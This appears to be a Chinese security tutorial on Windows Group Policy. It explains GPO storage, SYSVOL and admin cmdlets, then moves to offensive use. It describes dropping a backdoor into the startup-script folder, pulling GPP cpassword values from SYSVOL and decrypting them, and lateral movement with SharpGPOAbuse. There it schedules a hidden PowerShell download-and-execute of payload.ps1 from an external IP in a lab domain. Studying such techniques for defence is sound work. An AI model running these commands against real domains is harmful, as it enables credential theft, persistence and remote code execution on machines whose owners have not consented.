组策略介绍
组策略(英语:Group Policy)是微软Windows NT家族操作系统的一个特性,它可以控制用户帐户和计算机帐户的工作环境。组策略提供了操作系统、应用程序和活动目录中用户设置的集中化管理和配置。组策略的其中一个版本名为本地组策略(缩写“LGPO”或“LocalGPO”),这可以在独立且非域的计算机上管理组策略对象。
通过使用组策略,你可以设置策略设置一次,然后将该设置复制到多台计算机上。例如,你可以在链接到域的 GPO 中设置多个 Internet Explorer11 安全设置,然后将所有这些设置应用到域中的每台计算机。
组策略分类
本地组策略
本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在Windows Vista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。
开始->运行->键入"gpedit.msc"->本地组策略编辑器->window设置(system)->脚本->启动->属性
显示文件:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
把我们的后门程序复制到这个路径,然后这个脚本开机就会自动加载执行了
域组策略
当机器安装了域环境的时候,系统管理工具会多出一个功能(组策略管理),通过它,域管理员能够很方便统一地对域内的机器和用户进行统一管理。
域管理员经常会面对一个这样的问题,域成员机子的默认本地管理员密码过于简单,想进行批量修改的时候,这个时候就可以利用组策略来进行任务的批量下发。
通过在域中下发脚本来执行
在组策略首选项GPP中进行设置
本地管理员密码解决方案:LAPS(不细说这个内容,这是解决这个问题很好的方案)
这里需要了解下AD域中两个默认的共享文件夹:SYSVOL
NETLOGON
NETLOGON目录
挂载点:
SYSVOL\domain\SCRIPTS
主要存放的是一些脚本信息,是AD活动目录安装时候自动创建的,是在sysvol
下面的一个子目录文件夹
SYSVOL目录
SYSVOL目录是AD域中的一个共享文件夹,该文件夹在AD活动目录安装时候被创建。通常用来存放组策略数据 和 一些脚本 配置文件,这些策略和脚本将用于传递给域成员机器。
此外,域控机器之间因为要自动同步域数据,SYSVOL文档允许该域内的所有DC机之间进行复制,并且所有的AD用户都可以访问它
在域中,用户登录(计算机)时,会首先在SYSVOL文件查找GPO和启动脚本。同时,为了保证系统的正常运行,必须为SYSVOL保留足够的空间缓存,而且不能随意删除、改动该文件夹,要不然会出现一些组策略无法启用等报错信息
该目录由于针对的是域内所有机器和用户,所以域内中的合法用户均可以访问和执行该目录的文件。(普通的域用户也可以)
如果更改权限,这个地方会显示拒绝访问
* 组策略链接
以Default Domain Policy
为例,在右边的作用域里面,可以看到它链接到demo.com整个域,也就是说在demo.com域内的所有计算机,用户都会受到这条组策略的影响。链接的位置可以是站点、域以及OU。
比如说xsf这条组策略。它就链接到xs这个OU。加入xs这个OU的所有计算机以及用户会受到影响。
* 组策略内容
右键组策略,选择保存报告,可以将组策略的内容导出为htlm。
可以看到它配置的一些内容,设置密码最长期限为42天,最短密码长度为7个字符等。
如果想配置这条组策略的内容,在组策略条目上右键编辑,打开组策略编辑器。可以看到左边分为计算机配置
以及用户配置
。在里面的配置分别作用于计算机和用户。
在配置底下又分为策略以及首选项。首选项是Windows Server 2008发布后用来对GPO中的组策略提供额外的功能。策略和首选项的不同之处就在于强制性。策略是受管理的、强制实施的。而组策略首选项则是不受管理的、非强制性的。
对于很多系统设置来说,既可以通过策略设置来实现,也可以通过策略首选项来实现,二者有相当一部分的重叠。
* 组策略更新
默认情况下,客户端更新组策略的方式主要有
后台轮询检查sysvol里的GPT.ini,如果版本高于本地保存的组策略版本,客户端将会更新本地的组策略。轮询的时间是,默认情况下,计算机组策略会在后台每隔90分钟更新一次,并将时间作0到30分钟的随机调整。域控制器上的组策略会每隔5分钟更新一次。
用户开机登录时,会检查sysvol里的GPT.ini,如果高于本地保存的组策略版本,将会更新本地的组策略。
客户端强制更新,执行
gpupdate /force
。
域控强制客户端更新(不会比较域共享目录中组策略的版本),执行Invoke-GPUpdate -Computer "TESTwin10" -Target "User"
(2008 R2默认不支持该命令,2012支持)
组策略应用顺序:
应用本地组策略 → 如果有站点组策略则应用 → 应用域策略 → 应用OU上的策略。
如果同一个OU上链接了多个GPO,则按照链接顺序从高到低逐个应用。如果多个组策略设置冲突,则后应用的组策略覆盖先应用的组策略。
* 组策略存储
每条组策略可以看做是存储在域级别的一个虚拟对象,叫做GPO。每个GPO有唯一标志,用来标识每条组策略(或者说每个GPO),GPO在域内存储分为两个部分:GPC、GPT。
GPC位于LDAP中,CN=Policies,CN=System,<BaseDn>
下,每个条目对应一个GPC。包含了GPO属性,例如版本信息,GPO状态和其他组件设置。
GPT位于\\<DOMAIN>\SYSVOL\<DOMAIN>\Policies
中。域内任何人都可以读取\\<DOMAIN>\SYSVOL\<DOMAIN>\
这个默认的共享路径下的内容。
GPC里面的gPCFileSysPath属性链接到GPT里面。GPT是一个文件系统文件夹,其中包含由.adm文件,安全设置,脚本文件以及有关可用于安装的应用程序的信息指定的策略数据。
在域、站点、OU上的gPLink属性来标识链接到这里的组策略,gPOptions属性来标识组策略是否会继承。
组策略利用
GPO常用命令
#加载GroupPolicy模块 (win7没有,win10有)
Import-Module GroupPolicy –verbose
#获得所有GPO的内容
Get-GPO -All
#将所有GPO导出为一个HTML报告
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
#将每个GPO单独导出一个HTML报告
Get-GPO -All | %{
Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html")
}
#查看指定GPO的权限设置
Get-GPPermission -Name "客服部组策略" -All
#备份指定GPO
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
#备份所有GPO
Backup-Gpo -All -Path "c:\GpoBackups"
#还原指定GPO
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
#还原所有GPO
Restore-GPO -All -Path "c:\GpoBackups"
利用SYSVOL还原组策略中的密码
如果在组策略中输入了密码,如以用户身份运行程序、修改域内主机内置administrator用户密码等操作。
然后可以在GPT中看到加密后的密码(AES-256)
C:\Windows\SYSVOL\domain\Policies\{0EA52652-3A0D-4135-8BD7-92EFF59CB765}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
可以通过以下命令来快速搜索(网上有解密方法)
findstr /S cpassword \\192.168.40.154\sysvol\*.xm
for /r \\192.168.40.154/sysvol %i in (*.xml) do @echo %i
得到cpassword后可以通过kali中的gpp-decryp 去解密
利用Get-GPPPassword,自动查询共享文件夹\SYSVOL中的文件,还原出所有明文密码。
组策略横向
在拿到域控之后,有时候可能网络ACL到达不了目标电脑,可以通过组策略进行横向。攻击者可以利用组策略来推出恶意软件、创建/修改计划任务、降级凭据保护、向所有计算机添加新的本地帐户被添加到本地管理员组。更改现有的安全策略,启用明文密码提取。
实验环境如下:
域控:AD-2008(192.168.40.154),demo\administrator:vulnstack4.
域机器:win7(192.168.40.157),demo\administrator:vulnstack4.
目前已经拿下域控,域成员机开启了防火墙,并且禁止了445,135等端口的访问,传统的psexec和winrm以及pth等横向移动无法直接拿下成员机
计划任务
自Windows Server 2008开始,GPO开始支持计划任务,便于管理域中的计算机和用户。
指定用户配置定时任务
创建GPO
powershell -c Import-Module GroupPolicy;new-gpo -name TestGP02
将GPO链接到域demo.com,需要域管权限。
powershell -c Import-Module GroupPolicy;new-gplink -name TestGP02 -Target "dc=demo,dc=com"
#添加定时任务 --TargetDnsName指定计算机
execute-assembly F:\\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update2" --Author demo\\administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://119.45.175.218/payload.ps1'))\"" --GPOName "TestGP02" --FilterEnabled --TargetDnsName 192.168.40.148
即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。
在组成员中强制更新组策略,或者默认等待90分钟等待组策略强制更新
gpupdate /force
这时候可以看到域成员机上线
删除gpo
powershell -c Import-Module GroupPolicy;Remove-GPO -Name TestGPO2
参考:
https://xz.aliyun.com/t/9511
https://www.anquanke.com/post/id/203151#h3-22